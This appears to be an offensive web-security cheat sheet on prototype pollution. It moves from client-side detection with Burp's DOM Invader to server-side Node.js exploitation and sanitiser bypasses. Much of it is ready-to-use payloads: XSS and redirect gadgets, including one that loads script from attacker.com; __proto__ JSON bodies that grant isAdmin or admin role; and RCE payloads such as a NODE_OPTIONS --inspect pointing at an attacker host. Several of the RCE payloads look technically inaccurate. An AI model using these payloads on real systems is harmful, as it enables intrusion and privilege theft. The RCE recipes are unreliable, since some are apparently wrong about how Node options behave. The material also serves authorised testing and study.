Web

Prototype Pollution

Prototype pollution detection and exploitation: client-side DOM gadgets via browser DevTools and DOM Invader, server-side Node.js __proto__ injection for RCE and privilege escalation, bypassing sanitisers, and Burp DOM Invader workflow.

What is Prototype Pollution

Every JavaScript object inherits from a prototype. Setting properties on Object.prototype via __proto__ poisons every object in the runtime. Code that later reads those properties and uses them unsafely (sinks) executes the attacker’s payload.

Two variants:

  • Client-side — pollutes the browser’s JS environment via URL parameters, JSON input, or location.hash. Exploited through DOM gadgets.
  • Server-side — pollutes the Node.js runtime via JSON body parsing or property merging. Can achieve privilege escalation or RCE.

Client-Side Detection

DOM Invader (Burp’s built-in browser)

  1. Open the target in Burp’s browser (Proxy → Open Browser).
  2. Enable DOM Invader in the browser extension panel.
  3. Enable Prototype Pollution mode.
  4. DOM Invader automatically injects __proto__ payloads via URL params, JSON, hash, and reports vulnerable sinks.

Manual detection via browser console

Open DevTools console on the target page and run:

// Test if __proto__ is injectable via URL parameter
// Visit: https://TARGET/?__proto__[testproperty]=canary
Object.prototype.testproperty  // Should be undefined — if it's "canary", polluted

Or via hash:

https://TARGET/#__proto__[testproperty]=canary

Or via URL-encoded JSON in a parameter:

?search=test&__proto__[testproperty]=canary

Client-Side Sources

Common injection points:

URL query parameters:    ?__proto__[x]=y
URL fragment (hash):     #__proto__[x]=y
JSON body:               {"__proto__":{"x":"y"}}
Deep merge functions:    merge({}, userInput)  — vulnerable if recursive, no check

Also test:

?constructor[prototype][x]=y
?constructor.prototype.x=y

Client-Side DOM Gadgets

A gadget is existing app code that reads from Object.prototype and passes the value to a sink. DOM Invader finds these automatically. Common gadgets:

GadgetSinkPayload property
jQuery $(html)innerHTML__proto__[innerHTML]
location.assign()Open redirect__proto__[transport_url]=//attacker.com
eval(config.something)Code execution__proto__[something]=alert(1)
document.createElement(tag)DOM XSS__proto__[tag]=img onerror=alert(1)
Script src from configScript injection__proto__[scriptURL]=https://attacker.com/xss.js

XSS via prototype pollution + gadget

https://TARGET/?__proto__[transport_url]=data:text/javascript,alert(1)//
https://TARGET/?__proto__[innerHTML]=<img/src/onerror=alert(1)>

Server-Side Detection (Node.js)

Pollute via JSON body

When the app uses a recursive merge, deep clone, or JSON.parse result fed into an object assignment:

{
  "__proto__": {
    "testproperty": "canary"
  }
}

Or:

{
  "constructor": {
    "prototype": {
      "testproperty": "canary"
    }
  }
}

Confirm: if the app returns a different response (error, changed behaviour, reflects the property) → polluted.

Burp detection

In Repeater, send a JSON body with __proto__ and an unusual property. Then send a normal request. If the normal request now behaves differently → confirmed pollution.


Server-Side Exploitation: Privilege Escalation

If the app reads req.user.isAdmin and the isAdmin property comes from the object prototype:

{"__proto__": {"isAdmin": true}}

Any object that doesn’t explicitly set isAdmin now inherits true from the polluted prototype.

More targeted — if a middleware checks:

if (user.role === 'admin') { ... }
{"__proto__": {"role": "admin"}}

Server-Side Exploitation: RCE via Polluted Options

Many Node.js functions accept an options object. If that object is merged with polluted prototype properties, you can inject shell commands.

child_process.spawn via shell option

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=ATTACKER:4444"}}

Snyk example — overriding execArgv

{"__proto__": {"argv0": "node", "execArgv": ["--require", "/proc/self/fd/0"]}}

Via env in spawn options

{"__proto__": {"env": {"EVIL": "1"}, "NODE_OPTIONS": "--env-file=/proc/self/fd/0"}}

Bypassing Sanitisers

Some apps strip __proto__ but forget constructor.prototype:

{"constructor": {"prototype": {"isAdmin": true}}}

Some apps check for __proto__ as a key but allow ["__proto__"] in bracket notation parsing.

URL encode the key:

%5F%5Fproto%5F%5F[isAdmin]=true

Burp Suite workflow

  1. DOM Invader (Burp browser) — enable prototype pollution mode; auto-detects client-side injection points and gadgets.
  2. Repeater — manually inject __proto__ in JSON bodies, query strings, and hash fragments.
  3. Intruder — fuzz parameter names with a list of prototype pollution keys (__proto__, constructor, prototype).
  4. Scanner — active scan detects client-side prototype pollution sources automatically.
  5. Extensions: Hackvertor — encode __proto__ key variations to bypass sanitisers.